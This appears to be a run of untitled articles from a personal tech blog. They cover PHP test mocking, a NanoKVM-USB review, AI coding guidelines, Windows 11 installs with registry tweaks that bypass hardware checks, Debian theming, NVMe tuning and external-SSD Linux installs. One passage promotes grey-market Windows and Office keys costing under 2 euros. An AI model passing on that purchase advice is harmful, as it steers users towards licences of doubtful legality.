        $mock->expect('multiply', [3, 4], 12);
        $mock->expect('add', [12, 5], 17);
        
        // Exercise the code under test
        $result1 = Calculator::multiply(3, 4);
        $result2 = Calculator::add(12, 5);
        
        // Verify
        $this->assertSame(12, $result1);
        $this->assertSame(17, $result2);
        $mock->assertExpectationsMet();
    }
}

You can also make methods throw exceptions:

$mock->expect('divide', [10, 0], null, new \DivisionByZeroError());

Mocking built-in functions

Here’s an example mocking microtime() in a stopwatch class:

use MintyPHP\Mocking\BuiltInFunctionMock;
use App\Time\StopWatch;
use PHPUnit\Framework\TestCase;

class StopWatchTest extends TestCase
{
    public function test_elapsed_time(): void
    {
        // Register mock for the namespace
        $mock = new BuiltInFunctionMock('App\Time', $this);
        
        // microtime(true) will be called twice
        $mock->expect('microtime', [true], 1763333612.602);
        $mock->expect('microtime', [true], 1763333614.825);
        
        // Exercise the code
        $sw = new StopWatch();
        $sw->start();
        $elapsedMs = $sw->stop();
        
        // Verify
        $this->assertSame(2223, $elapsedMs);
        $mock->assertExpectationsMet();
    }
}

This works for any of PHP’s built-in functions, like: microtime(), file_get_contents(), random_int() or sleep().

Important notes

• Expectations are ordered: They’re matched and consumed in FIFO order
• Arguments are compared using PHPUnit’s assertEquals: So loose comparison applies
• Call more than expected? Test fails with “No expectations left”
• Declared more than called? assertExpectationsMet() fails
• Namespace matters: Built-in function mocks only intercept unqualified calls in the specified namespace
• Fully-qualified calls bypass the mock: Calls like \microtime() won’t be intercepted

I’ve implemented this without any dependencies (beyond PHPUnit for testing) and I’ve written comprehensive tests to ensure the code is stable and working. The library is intentionally small, explicit, and easy to reason about. Any feedback is more than welcome.

See: https://github.com/mintyphp/mocking

Enjoy!

Links / Alternatives

• Github.com - php-mock/php-mock
• Github.com - mockery/mockery
• Github.com - php-mock/php-mock-phpunit

Data-center usage

This device may not be ideal in the data-center as a permanently installed KVM, as it has no network connection. If you would have one management node, you could install a bunch of these in that node to control the other rack-servers (without opening a new attack surface). It may also be of great help when visiting a (private) data-center. I would always want to have this KVM (and a HDMI to VGA adapter) in my laptop bag as it takes barely any space and may avoid the need of a crash cart in the cold aisle.

SBC and computer repairs

For debugging single-board computers (like Raspberry Pi, Orange Pi, etc.) and repairing PCs in general, the NanoKVM‑USB shines because it works before networking and drivers are available. You plug HDMI from the target into the NanoKVM and a single USB into the target for keyboard/mouse HID, then operate everything from your laptop as if a local monitor and peripherals were attached. That makes BIOS/UEFI or GRUB changes, OS installs and fixing boot problems straightforward without hunting for a spare screen or keyboard. It’s also ideal for machines with broken displays or keyboards, or for air‑gapped systems as it has a switch to toggle a USB drive between host and target.

Build quality

The NanoKVM‑USB’s plastic side panels are glued to the aluminium casing rather than fastened with screws. In practice, pulling a tight HDMI or USB cable straight out can loosen a panel, exposing the Sipeed mainboard. It’s something to be aware of when disconnecting cables. Support the panel near the connector and pull gently to avoid popping the side off. On the plus side, sliding the mainboard out lets you see exactly how the ingenious design is put together in such a small device, which is both educational and reassuring. If a panel does come loose, a tiny dab of superglue on the inside lip will probably fix it.

Linux software

The host application is open source and distributed as a convenient Debian package on GitHub releases, which makes installation on Debian‑based systems (Debian, Ubuntu, Linux Mint, etc.) straightforward. In daily use it generally works flawlessly, but occasionally the app won’t detect the USB HID keyboard/mouse emulator after you connect the device. If that happens, just unplug and reconnect the NanoKVM‑USB to the host to fix this problem. Other than that the software works with very low latency and is very reliable.

Privacy and security

The NanoKVM‑USB has almost no firmware. The screen capture device presents itself as a standard webcam. The USB HID emulator operates via a USB connected serial port. This minimal design means there’s little software to attack. The device also has no network connection. It cannot be reached over the internet. This makes it much less vulnerable than network‑based KVM solutions. The open source software is verifiable and makes no internet connections. This is crucial when installing machines with disk encryption. Privacy is very important in such scenarios. For security‑conscious users this is a major advantage.

Conclusion

At roughly EUR 60 the NanoKVM‑USB is a must‑have for anyone who installs or repairs machines regularly and cares about privacy and security. You get good build quality, open‑source and reliable Linux software, and responsive, low‑latency control in a tiny package. The side panels that can come loose if you pull a cable too hard, and the occasional need to reconnect the device to detect the USB HID are acceptable minor flaws that are easy to work around. Overall, it’s a joy to use and has earned a permanent place in my toolkit.

Links

• Sipeed Wiki - NanoKVM-USB Introduction
• Github - NanoKVM-USB open source software
• Sipeed NanoKVM-USB Review: Bridging the Gap Between Host and Target Machines
• Openterface - Mini-KVM: Turning Laptop into a KVM Console
• Cytrence - Kiwi: makes your laptop a KVM over USB & much more

1. Always ask AI to implement a feature before doing it manually

Whether it’s a UI component, API endpoint, or data model—let AI take the first stab. You’ll often get 80% of the work done instantly, and you can refine from there.

2. Use AI for code analysis before debugging or refactoring

Ask it to explain complex logic, suggest codebase improvements, or spot bugs. It’s like having a second brain that never gets tired or misses edge cases.

3. Use AI to write all your documentation

Generate docstrings, README files, architecture summaries, or onboarding guides. It can tailor docs for different audiences—devs, PMs, or even clients.

4. Use AI to review and refactor code before pushing

Ask for performance improvements, security checks, or cleaner abstractions. It’s like a tireless senior engineer reviewing your work 24/7.

5. Let AI generate and refine tests before you write any

Unit tests, integration tests, edge cases—AI can scaffold them fast. You can then tweak or expand based on your specific logic.

6. Automate boring tasks with AI-generated scripts

Let AI write shell scripts, data migration tools, cron jobs, or build scripts. If it’s repetitive or tedious, AI can script it—saving hours of manual work.

Moral Standards

Some argue that using AI to write code is “cheating” or diminishes the craft of programming. We reject this view: the real measure of a developer isn’t how much they type, but whether they deliver quality software that solves real problems in a responsible and efficient way.

1. Maximizing productivity with AI is fair—neglecting it isn’t.

If AI helps deliver faster, better results, it’s in the customer’s best interest to use it. Holding back would be doing them a disservice.

2. You own the output, not the AI.

AI doesn’t take responsibility for quality, accuracy, or impact—you do. Always review, refine, and stand behind the final result.

3. Use AI tools only with client approval.

We apply AI ethically: only when the customer has explicitly approved its specific use and ideally provided the AI tools to use.

Pitfalls

We recognize that AI is powerful, but not without risks. Avoid these common traps that undermine everything we’ve outlined above.

1. Loss of overview

AI generates code faster than you can understand it. Combat this with clear documentation, architectural diagrams, and specs before implementation.

2. Accepting low quality

Speed tempts you to skip review—don’t. Treat AI output as a draft, test thoroughly, and ironically, use AI itself to test and review code.

3. Using AI when you shouldn’t

AI struggles with specialized domains, novel algorithms, and deep context. Step in manually when problems are poorly defined or AI repeatedly fails.

Enjoy AI (responsibly)!

Clean Windows install

When I get a new PC (such as my new GMKTec M6 Ultra mini PC) I like to do a clean Windows 11 install. This removes the manufacturer’s bundled software. Since this mini PC supports secure UEFI boot it should be as easy as initializing a USB drive with a “GPT partition table” and creating a FAT32 partition with the contents of the installation ISO (you can just copy the files). In UEFI boot there is no need for changes to the “Master Boot Record” or for a “boot flag” on the partition.

Note that a clean install also removes the bundled drivers from your system. This may prove cumbersome when the latest version of Windows does not support your WiFi or Ethernet port (you may need to transfer them using a USB stick).

Splitting install.wim

In order to be able to write an ISO to a FAT32 partition there may be no file bigger than 4 gigabytes. This is a problem, as in the latest Windows 11 the “sources/install.wim” file is 6.3 GiB in size. We can work around this problem by splitting this file into multiple 1 GiB files (this split format is supported by the Windows 11 installer). The splitting options are described on wimlib.net. We are going to use a 1 GiB split size just to be sure.

Getting the official Windows 11 ISO image

You can download the official Windows 11 ISO image from Microsoft by visiting:

https://www.microsoft.com/nl-nl/software-download/windows11

You get a link that is valid for 24 hours to download the ISO that is 7.1 GiB in size

Preparing the ISO image (on Linux)

In Ubuntu you can just right click any ISO image and “Open with Disk Image Mounter”. You can now copy all contents to a new folder on your hard disk. Now find the “sources” folder in the copied disk, enter it and right-click and choose “Open Terminal Here”. In this terminal you need to run one command:

wimsplit install.wim install.swm 1024 --check

If you have not got this tool yet you may have to install WimLib tools first:

sudo apt install wimtools

On my machine this was the output (I ran it with “time” so that you can see how long it took):

$ time wimsplit install.wim install.swm 1024 --check
[WARNING] "install.wim" does not contain integrity information.  Skipping integrity check.
Calculating integrity table for WIM: 1019 MiB of 1019 MiB (100%) done
Calculating integrity table for WIM: 1005 MiB of 1005 MiB (100%) done
Calculating integrity table for WIM: 951 MiB of 951 MiB (100%) done
Calculating integrity table for WIM: 986 MiB of 986 MiB (100%) done
Calculating integrity table for WIM: 1020 MiB of 1020 MiB (100%) done
Calculating integrity table for WIM: 1023 MiB of 1023 MiB (100%) done
Calculating integrity table for WIM: 345 MiB of 345 MiB (100%) done
Splitting WIM: 6363 MiB of 6363 MiB (100%) written, part 7 of 7
Finished splitting "install.wim"

real  0m31,255s
user  0m27,026s
sys   0m4,223s

After waiting for 30 seconds (I have a fast NVMe drive) the “install.wim” file was split and I could remove it. Now the sources folder was ready to be copied onto the FAT32 partition of my USB drive (that has a GPT partition table). Next I rebooted, chose the USB drive in the Boot menu and the Windows 11 installation started (without the need to disable “secure boot”).

Preparing the ISO image (on Windows)

On Windows you can split the install.wim file into smaller ones using the DISM.exe tool. Like on Linux you need to mount the ISO file and copy all contents to a folder on the hard disk. Next you need to start an elevated command prompt in that folder to use DISM command. Run the following DISM command:

dism /Split-Image /ImageFile:install.wim /SWMFile:install.swm /FileSize:1024

After splitting has finished you can remove the original install.wim file. The created SWM files (install.swm, install2.swm) will all be smaller than 1 GiB and can therefore be copied without errors to a FAT32 formatted USB drive.

Alternative: Use Rufus on Windows

On Windows you can use Rufus to create a bootable USB drive directly from the ISO file without you having to worry about anything. It will create a FAT32 EFI partition containing an NTFS driver and it will install from NTFS. Note that when selecting a Windows 11 install image it will also allow you to bypass the TPM check and set other nice things.. try it!

Rufus - Create bootable USB drives the easy way

Skipping TPM and network requirements

During the installation press Shift-F10 and a Command Prompt window will appear. You can type the following commands:

reg add HKLM\SYSTEM\Setup\LabConfig /v BypassTPMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassSecureBootCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassRAMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassStorageCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassCPUCheck /d 1 /t reg_dword /f

Now the installer will install Windows 11 without hardware checks. When it asks to connect to a network type the following command:

start ms-cxh:localonly

You can now enter only a username and leave the password field(s) empty.

Remove Microsoft bundled software

After doing this you can uninstall everything on the start menu and from “add or remove programs” that Microsoft allows you to uninstall. No worries, it won’t allow you to uninstall things that are needed for normal operation of the operating system. In the latest Windows 11 (25H2) release you can even uninstall Edge and OneDrive! I recommend installing the following alternatives:

• Web browser: Firefox
• Image viewer: Nomacs
• Media player: VLC
• Text editor: Notepad++
• Calculator: Qalculate!

Windows 11: Please shut up!

Windows 11 is not very privacy friendly, but this can be improved with a tool called “O&O ShutUp10++”. Download and install “O&O ShutUp10++” and choose “Apply only recommended settings” and manually click the option “Disable extension of Windows search with Bing”. The (recommended) option “Disable Windows Copilot+ Recall” is the most important one. If you don’t disable this Windows 11 will send constant screenshots to Microsoft to profile what you are doing on your PC.

O&O ShutUp10 - Free antispy tool for Windows 10 and 11

• Microsoft Office 2024 Professional Plus (for less than 2 euro)
• Windows 11 Pro (for less than 2 euro)

Source: On Allkeyshop.com you can search the product and find a discount code. Then, on Wincdkey.com you can buy the license with the discount code. The license key will be instantly delivered.

There are lots of discussions online on whether or not these licenses are valid/legal, but all I know is that Microsoft is winning because of them. If these weren’t available, then looking for a free alternative would be much more important. And the free alternatives are so much better!

About digital entitlements

You can check whether or not you have a Digital License in Windows in the Activation Settings. Look under Activation State and if it says “Windows is activated with a digital license”, you have a digital entitlement. A digital license can either be bound to the hardware or to a Microsoft account. If it is bound to a Microsoft account it says “Windows is activated with a digital license linked to your Microsoft account”. Even when it is not bound to a Microsoft account it should automatically re-activate the license after you clean install. Make sure you install the same edition and choose “I don’t have a product key”.

Linux Mint 22.2

Recently Linux Mint 22.2 has been released and it is a very polished experience. It comes with LibreOffice and Firefox and has everything you need in an operating system. It is secure and easy to use and best of all: it respects your privacy. If you are appalled by the Windows 11 privacy policies then you could give this a try:

Download: https://www.linuxmint.com/

LibreOffice 25

LibreOffice is a free Office suit with Word, Excel and Powerpoint compatibility. It is available for Windows, Mac and Linux. For most users it has a better user experience than Microsoft Office as it is does not have ribbons in the UI and has great compatibility with all versions of Microsoft Office. Oh.. and did I mention it was free?

Download: https://www.libreoffice.org/

Making Windows a little bit better

You can make Windows (10 or 11) a little bit better by installing “O&O ShutUp10++” and applying recommended settings. I wrote more about this in my previous article. This article also explains how to work around the hardware requirements of Windows 11.

Read: Install Windows 11 24H2 without TPM

Disclaimer: Make sure to backup your PC before you upgrade to Windows 11.

Download install media

On the following link you can download the Windows 11 ISO for x64 in your favorite language:

https://www.microsoft.com/nl-nl/software-download/windows11

It will download a file named “Win11_24H2_EnglishInternational_x64.iso”. You can right-click and mount this image to make it appear as a new disk in your PC. Then you can run the “setup.exe” from the disk to start the Windows 11 installer.

Windows 11 upgrade

You can run the following batch script to bypass the Windows 11 (24H2) hardware checks. Open “notepad.exe” and paste the following:

@echo off
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CompatMarkers" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Shared" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TargetVersionUpgradeExperienceIndicators" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\HwReqChk" /v "HwReqChkVars" /t REG_MULTI_SZ /s "," /d "SQ_SecureBootCapable=TRUE,SQ_SecureBootEnabled=TRUE,SQ_TpmVersion=2,SQ_RamMB=8192" /f
reg add "HKLM\SYSTEM\Setup\MoSetup" /v "AllowUpgradesWithUnsupportedTPMOrCPU" /t REG_DWORD /d 1 /f
pause

Save this as the file “regfix.bat” on your desktop and right-click and “Run as Administrator”, after confirmation the script is executed. After running this registry modification you can run the “setup.exe” from the Windows 11 ISO and it will skip the hardware compatibility test.

Windows 11 clean install from USB

Rufus is a great tool that allows you to write the Windows 11 install media to a bootable USB drive. While doing this it can also apply many “fixes” to the installer, such as allowing to install without TPM. These fixes can be found in the “Windows User Experience” pop-up that it shows before writing the ISO to the disk.

Youtube - Install Windows 11 & Bypass TPM with Rufus

NB: The bootable USB drive with Windows 11 that Rufus creates can also be used to upgrade Windows 10 PCs without TPM.

Windows 11 clean install from ISO

If you are booting directly from the ISO (in a VM for instance), then you can apply the procedure below to get a similar result.

During the installation press Shift-F10 and a Command Prompt window will appear. You can type the following commands:

reg add HKLM\SYSTEM\Setup\LabConfig /v BypassTPMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassSecureBootCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassRAMCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassStorageCheck /d 1 /t reg_dword /f
reg add HKLM\SYSTEM\Setup\LabConfig /v BypassCPUCheck /d 1 /t reg_dword /f

Now the installer will install Windows 11 without hardware checks. When it asks to connect to a network type the following command:

start ms-cxh:localonly

You can now enter only a username and leave the password field(s) empty.

Windows 11: Please shut up!

Windows 11 is not very privacy friendly, but this can be improved with a tool called “O&O ShutUp10++”. Download and install “O&O ShutUp10++” and choose “Apply only recommended settings” and manually click the option “Disable extension of Windows search with Bing”. The (recommended) option “Disable Windows Copilot+ Recall” is the most important one. If you don’t disable this Windows 11 will send constant screenshots to Microsoft to profile what you are doing on your PC.

O&O ShutUp10 - Free antispy tool for Windows 10 and 11

Remove all Windows apps

If you are like me, then you are thrilled that you can remove almost all standard installed apps in Windows 11. You can even remove Edge and install Firefox (or even LibreWolf) as your default browser. I can recommend to remove all standard installed apps (and shortcuts) except for “Quick Assist” (in case you want to let somebody help you on your PC) and “Remote Desktop Connection” as these are useful to receive and give support to other users when using Windows.

Links

• Rufus.ie - Create bootable USB drives the easy way
• YouTube - Install Windows 11 & Bypass TPM with Rufus | Flash Linux & Windows
• OO-Software.com - O&O ShutUp10++: Free antispy tool for Windows 10 and 11
• TQdev.com - Cannot copy Windows 10 “install.wim”?
• TQdev.com - Creating a bootable Windows 10 USB on Ubuntu
• TQdev.com - Windows 10 clean install
• TQdev.com - Why I use Bitlocker without TPM

Installation

LibreWolf has a repository for Debian-based distributions (Debian, Ubuntu, Mint, etc.), with which you can easily install and update LibreWolf. To add it to your system and install LibreWolf, run the following commands one by one:

sudo apt update && sudo apt install extrepo
sudo extrepo enable librewolf
sudo apt update && sudo apt install librewolf

You should see a new application named “LibreWolf” in your application list.

Features

Main Features:

• No Telemetry: No experiments, adware, annoyances, or unnecessary distractions.
• Private Search: Privacy-conscious search providers: DuckDuckGo, Searx, Qwant and more.
• Content Blocker Included: uBlock Origin is already included for your convenience.
• Enhanced Privacy: Hardened to maximize privacy, without sacrificing usability.
• Fast Updates: LibreWolf is always built from the latest Firefox stable source, for up-to-date security and features along with stability.
• Open Source: Everyone can participate in the development of LibreWolf.

For more details read the full feature list.

Links

• LibreWolf - A custom version of Firefox, focused on privacy, security and freedom.

Try LMDE first!

Linux Mint Debian Edition is a Linux Mint based on Debian instead of Ubuntu. It uses Cinnamon as Desktop Environment which is also quite pretty. You should consider LMDE before following this tutorial on how to customize Debian with XFCE to look like Linux Mint XFCE. Linux Mint Debian Edition is a good looking and well supported Cinnamon Desktop Environment and under the hood it still is Debian. LMDE 7 is based on Debian 13 and has been released on Oct. 15th, 2025.

Download Linux Mint Debian Edition here

Debian 13 installation

I am using the debian-13.0.0-amd64-netinst.iso and when booting from that image I choose the Graphical install. After installing Region, language and keyboard layout it will install the network. After the network I choose not to setup a root password (leave fields empty) and then setup a first user (can become root using sudo). When asking what to do with the disk choose “Guided - use entire disk and set up encrypted LVM” to enable full disk encryption using LUKS. Choose “Separate /home partition” when asked how to partition the disk. This is nice when you are reinstalling Linux. After confirming that changes must be written to disk the installer starts copying files. It will ask you to choose a local mirror and whether you want to participate in the package popularity contest. Next is the “Software selection” list. Uncheck “GNOME” and check “Xfce” before you continue to ensure XFCE is installed as default Desktop Environment. Finally install the bootloader on the drive and reboot the system.

Panels

In order to make the task bar look more familiar do:

1. Move the panel from the top to the bottom by

• Right clicking on the top panel, choose “Panel” and then “Panel Preferences..”
• Uncheck “Lock panel” and a handle should appear on the panel
• Drag the panel all the way to the bottom
• Check the “Lock panel” option again and close the window

2. Remove the second panel

• Right clicking on the top panel, choose “Panel” and then “Panel Preferences..”
• Click on the minus behind the word “Panel 2”
• Are you sure? Click “Remove”

3. Under “Display” set the “Row size (pixels)” to 32
4. Under “Appearance” uncheck “Dark mode” and set “Fixed icon size (pixels)” to 20
5. Under “Items” add the “Whisker Menu” to the top of the panel’s “Items” (drag up)
6. On “Whisker Menu” click the little wrench next to “Remove”
7. Under “Appearance” set the “Icon” to “/usr/share/icons/desktop-base/64x64/emblems/emblem-debian-white.png”
8. Remove the “Applications Menu” and confirm removal
9. On “Window Buttons” click the little wrench next to “Remove”
10. Uncheck “Show handle” and uncheck “Group windows by application”
11. Optionally set “Middle click action” to “Close Window”
12. Remove the “Action Buttons” and the “Workspace Switcher” and confirm removal
13. Add some separators, “Power Manager Plugin”, “Notification Plugin” and “Show Desktop” item
14. In the “Clock” item change the “Layout” to “Time then date” and set Time to “Sans Bold”
15. Add some launchers for applications you often use
16. Start the “Whisker Menu” and click the icon left of your username
17. Click the logo and choose “Browse…” and point to “/usr/share/icons/desktop-base/256x256/emblems/emblem-debian.png”

Install some packages

We need a few new sources:

gpg --keyserver hkps://keyserver.ubuntu.com --recv-keys 302F0738F465C1535761F965A6616109451BBBF2
gpg --export 302F0738F465C1535761F965A6616109451BBBF2 | sudo tee /etc/apt/keyrings/linuxmint.gpg > /dev/null
echo deb [signed-by=/etc/apt/keyrings/linuxmint.gpg] http://packages.linuxmint.com zara main | sudo tee /etc/apt/sources.list.d/linuxmint.list
sudo sed -i 's/non-free-firmware/non-free non-free-firmware/g' sources.list
sudo apt update

Now we can install the requirements:

sudo apt install mint-x-icons mint-y-icons mint-themes mint-backgrounds-wallpapers
sudo apt install mint-backgrounds-xfce bibata-cursor-theme fonts-ubuntu mugshot
sudo apt install lightdm-settings slick-greeter

In order to remove the new sources:

sudo rm /etc/apt/sources.list.d/linuxmint.list
sudo sed -i 's/non-free non-free-firmware/non-free-firmware/g' sources.list
sudo apt update

Linux Mint is based on Ubuntu, which is itself based on Debian, but there are differences in how packages are built and maintained. therefore it is safer to disable these sources to avoid unexpected upgrades on the (Ubuntu or Mint specific) packages.

Change “Appearance” settings

1. Go to “Settings” in the main menu and choose “Appearance”
2. Set “Style” to “Mint-Y-Aqua”
3. Set “Icons” to “Mint-Y-Sand”
4. Set “Fonts” to “Ubuntu Regular” size 10 and “Monospace Regular” size 10
5. Check “Enable anti-aliasing” set “Hinting” to “Slight” and Sub-pixel order" to “RGB”

Change “Window Manager” settings

1. Go to “Settings” in the main menu and choose “Window Manager”
2. Set “Style” to “Mint-Y-Aqua”
3. Set “Title font” to “Ubuntu Medium” size 10
4. In “Button Layout” remove the arrow up from “Active” (drag to “Hidden”)
5. Set “Fonts” to “Ubuntu Regular” size 10 and “Monospace Regular” size 10
6. Check “Enable anti-aliasing” set “Hinting” to “Slight” and Sub-pixel order" to “RGB”
7. In “Advanced” under “Windows snapping” uncheck the “To other windows” option

Change “Mouse and Touchpad” settings

1. Go to “Settings” in the main menu and choose “Mouse and Touchpad”
2. Set “Theme” to “Bibata-Modern-Classic”
3. Set under “Size” the “Cursor size” to 24

Change “Login Window” settings

1. Go to “Settings” in the main menu and choose “Login Window”
2. Set the correct “Backround” image
3. Set the “GTK theme” to “Mint-Y-Aqua”
4. Set the “Icon theme” to “Mint-Y-Sand”
5. Set the “Mouse pointer” to “Bibata-Modern-Classic”
6. Go to “Users”
7. Disable “Allow manual login”
8. Disable “Hide the user list”

Change “Desktop” settings

1. Right click the desktop and choose “Desktop Settings..”
2. Under “File/Launcher Icons” you find a list of “Default Icons”
3. Uncheck “Home”, “File System” and “Trash”

Change “Thunar” settings

1. Open “Thunar File Manager” application
2. In the main menu click on “Edit” and “Preferences…”
3. Under “Side Pane” set the “Icon size” to 16px

Create a new “Terminal” theme

We create a new theme for the xfce4-terminal application:

sudo nano /usr/share/xfce4/terminal/colorschemes/linux-mint.theme

Now paste the following colors:

[Scheme]
Name=Linux Mint
ColorForeground=#ffffff
ColorBackground=#3c3c3c
ColorCursor=#867f81
ColorPalette=#000000;#cc0000;#4e9a06;#c4a000;#3465a4;#75507b;#06989a;#d3d7cf;#555753;#ef2929;#8ae234;#fce94f;#739fcf;#ad7fa8;#34e2e2;#eeeeec
BoldIsBright=true

NB: These are extracted from a default config on a real Mint XFCE installation.

Change “Terminal” settings

Since we have created a new terminal theme we can now apply it:

1. Open the “Terminal Emulator” or “Xfce Terminal” application
2. In the main menu click on “Edit” and “Preferences…”
3. Under “Appearance” and “Font” choose “Monospace Regular” size 10
4. Under “Colors” find the “Presets” and select “Linux Mint”

Now the terminal should also look like Mint XFCE.

Firefox installation

Debian uses Firefox ESR, which may lag a bit behind the Mozilla repositories with updates. Instead of using installing Firefox from the Mozilla repository I recommend installing LibreWolf, a custom version of Firefox, focused on privacy, security and freedom.

See: https://tqdev.com/2025-install-librewolf-a-better-version-of-firefox

Conclusion

Running Debian as a desktop is more fun when Debian looks good. And in this tutorial we showed that we can make Debian look like Mint XFCE (and I like how that looks and how fast it feels). It does requires some tinkering, but this is a nice opportunity to learn all the settings that can be tweaked.

Enjoy!

Links

• Youtube - Installing and Configuring XFCE on LMDE

Visitors graph

The graph below is a (copy of) a server side generated SVG document from the backend of this blog. As you can see the number of visitors has roughly doubled in the last 2 years!

NB: Visitors are counted based on the different IP address in the log per day, e.g. a visitor is defined as a unique IP address on a day.

Test your NMVe latency

First we install the test tool:

sudo apt install ioping

Now run:

ioping -c 10 /tmp

You should see something like this:

4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=1 time=97.9 us (warmup)
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=2 time=337.5 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=3 time=394.8 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=4 time=329.8 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=5 time=251.2 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=6 time=407.1 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=7 time=376.4 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=8 time=387.8 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=9 time=353.4 us
4 KiB <<< /tmp (ext4 /dev/dm-1 1.79 TiB): request=10 time=366.5 us

--- /tmp (ext4 /dev/dm-1 1.79 TiB) ioping statistics ---
9 requests completed in 3.20 ms, 36 KiB read, 2.81 k iops, 11.0 MiB/s
generated 10 requests in 9.00 s, 40 KiB, 1 iops, 4.44 KiB/s
min/avg/max/mdev = 251.2 us / 356.1 us / 407.1 us / 44.3 us

If you see times above 1 ms (milliseconds = 1000 us) then something is wrong. I had times reported of 2.8 ms before I applied the fix below. If your times are under 1 ms then they are okay. I have seen some very fast NVMe drives report about 200 us on average.

Improve your NMVe latency

Edit the grub config:

sudo nano /etc/default/grub

Now add “nvme_core.default_ps_max_latency_us=0” to end of default kernel line. Change this line:

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"

into the following:

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nvme_core.default_ps_max_latency_us=0"

Save the file and exit and run the following command to make the configuration effective:

sudo update-grub

Now reboot. After rebooting you will see that the I/O ping test reports lower latency.

Enjoy!

Links

• StackExchange - clarifying nvme apst problems for linux
• Linux Mint Forums - Unable to apply “nvme_core.default_ps_max_latency_us=0”
• Reddit - What does “nvme_core.default_ps_max_latency_us=0” mean?

Hardware

I used a (relatively) cheap “Kingston XS1000 1TB” (80 eur), but you may use any M2 NVMe enclosure that supports USB 3.0 or higher and UASP. It should ideally be an external drive rated for 1000 MB/sec or more in read performance to ensure you are dealing with an external SSD that is as fast as your internal disk (and also durable enough).

Workarounds

Method A: The safest way to install Linux Mint to an external SSD is to remove the internal disk from the machine, connect the external SSD over USB and do the installation as you normally would (no manual partitioning or bug workaround needed).

Method B: You can also create a virtual machine (with EFI boot). You need the install ISO as the first disk (CDROM) in the VM and connect the external USB disk (using USB forwarding) as the second disk in the VM. This is the fastest, easiest (and recommended) way to install Linux onto an external SSD.

So really, there is no need to run into trouble. Use one of these two methods and you can skip reading this article. If you insist on running the installation on your Linux or Windows laptop, or you already did and want to understand what went wrong, please read on.

Disclaimer

IMPORTANT! Playing with disks and their partitions is risky. You may end up with a system that does not boot anymore from the internal disk or even with an internal disk that is completely wiped. Always make a backup of all disks in the system before you start.

Problem

People will try to install with the internal disk connected and that disk will contain a FAT32 partition with “boot” flag on it. The installer seems to allow you to select which EFI partition to use (in a “bootloader” dropdown). Unfortunately this selection is ignored as this selection is only relevant for systems using legacy boot (nobody does this anymore). Instead the installer overwrites the first FAT32 partition it finds that has a “boot” flag set (the one on your internal disk).

This will lead to a system that can neither boot from the internal disk nor from the external disk on another system. Because of this strange behavior (a bug in my opinion) you have to remove the “boot” flag of the internal disk before you start installing on the external SSD. When you are done installing you can put the “boot” flag back on the partition of the internal disk.

To restore the overwritten EFI partition on the internal disk you can use the tool “boot-repair” from the terminal before starting the Linux Mint installation. I’ve had to do this many times when writing this aricle.

Scope of the bug

The Linux Mint 22 installer is affected and so is Debian 13 netinst (both are Ubiquity based). The problem might be resolved in the Calamares installer, that is included on the Debian 13 Live ISOs (and many other distributions, including Arch btw). If you don’t care specifically for Linux Mint XFCE, then you may give Debian 13 Cinnamon a try.

Requirements

• A thumb drive with the Linux installer on it.
• A fast external SSD that can be wiped.

Procedure

Boot from the thumb drive that has the Linux installer into a Linux Live environment.

First we will prepare the external SSD.

• Start “gparted”
• Select the external SSD from the list
• Now from the “Device” menu on the top choose “Create Partition Table…”
• Select table type “gpt” and click “Apply”
• Close “gparted”

Now the external SSD is clean and ready to be used as an external disk.

Next we are going to remove the “boot” flag from the internal disk(s)

• Start “gparted”
• Select the internal disk from the list in the upper right
• Right click the partition with flags “boot,esp”
• Choose “Manage Flags” and uncheck the “boot” flag (the “esp” flag is also removed)
• Close “gparted”

Note that changes to the flags are immediately effective.

Now the Linux Mint installer can be started.

• Start the installer and answer questions until you see “Installation type”
• Do NOT choose “Erase disk and install Linux Mint”, but choose “Something else” to enter a custom partition configuration.
• Select the partitions on the internal disk and click “Change…”
• Ensure that on “Use as” the value “do not use partition” is set on each of them.
• Create the following 3 partitions on the external disk (in the free space):
  • A 512 MB “EFI System Partition”.
  • A 2048 MB partition with “Ext2 journaling file system” and mount point set to “/boot”.
  • A “physical volume for encryption” for the rest of the space.
• Wait for the mapper to show up on top of the partition list.
• Set the mount point of the created ext4 partition under the mapper to “/”.
• Set “Device for bootloader installation” to the external disk (not one of it’s partitions).
• Click “Install Now” to start the installation and let it finish.

As a last step add the “boot” flag again:

• Start “gparted”
• Select the internal disk from the list in the upper right
• Right click the partition where you removed the “boot” flag
• Choose “Manage Flags” and check the “boot” flag (the “esp” flag is also added)
• Close “gparted”

Now the system can both be booted from the internal disk and the external SSD.

Performance test

Your desktop Linux experience is in my opinion best measured by throughput and response time. For throughput we can do a single threaded 4k random read performance test and for response time we can do an I/O ping benchmark. By running these two benchmarks on any drive you can determine which disk works best for you.

sudo apt install fio

To test the single threaded 4k random read performance, run:

